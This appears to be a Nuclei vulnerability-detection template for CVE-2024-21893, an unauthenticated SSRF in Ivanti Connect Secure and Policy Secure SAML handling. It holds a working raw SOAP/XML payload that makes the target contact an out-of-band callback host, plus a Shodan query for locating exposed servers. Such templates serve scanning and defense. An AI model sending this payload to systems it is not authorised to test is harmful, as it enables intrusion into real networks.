id: CVE-2024-21893

info:
  name: Ivanti SAML - Server Side Request Forgery (SSRF)
  author: DhiyaneshDk
  severity: high
  description: |
    A server-side request forgery vulnerability in the SAML component of Ivanti Connect Secure (9.x, 22.x) and Ivanti Policy Secure (9.x, 22.x) and Ivanti Neurons for ZTA allows an attacker to access certain restricted resources without authentication.
  reference:
    - https://attackerkb.com/topics/FGlK1TVnB2/cve-2024-21893/rapid7-analysis
    - https://www.assetnote.io/resources/research/ivantis-pulse-connect-secure-auth-bypass-round-two
    - https://github.com/advisories/GHSA-5rr9-mqhj-7cr2
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
    cvss-score: 8.2
    cve-id: CVE-2024-21893
    cwe-id: CWE-918
    cpe: cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
    product: "connect_secure"
    shodan-query: "html:\"welcome.cgi?p=logo\""
    max-request: 1
  tags: cve,cve2024,kev,ssrf,ivanti

http:
  - raw:
      - |
        POST /dana-ws/saml20.ws HTTP/1.1
        Host: {{Hostname}}

        <?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">	<soap:Body>		<ds:Signature		xmlns:ds="http://www.w3.org/2000/09/xmldsig#">			<ds:SignedInfo>				<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>				<ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>			</ds:SignedInfo>			<ds:SignatureValue>qwerty</ds:SignatureValue>			<ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/2000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">				<ds:RetrievalMethod URI="http://{{interactsh-url}}"/>				<ds:X509Data/>			</ds:KeyInfo>			<ds:Object></ds:Object>		</ds:Signature>	</soap:Body></soap:Envelope>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol  # Confirms the DNS Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '/dana-na/'
          - 'WriteCSS'
        condition: and
# digest: 4a0a00473045022031bba2e0349c9af3102196e00e85678ddbb51ba287e5d624558a50a3bbaa6be20221008a362ec4ef64ece7ab22636b902c72df49e1f72c519731e5c2eb22dec2db5c76:922c64590222798bb761d5b6d8e72950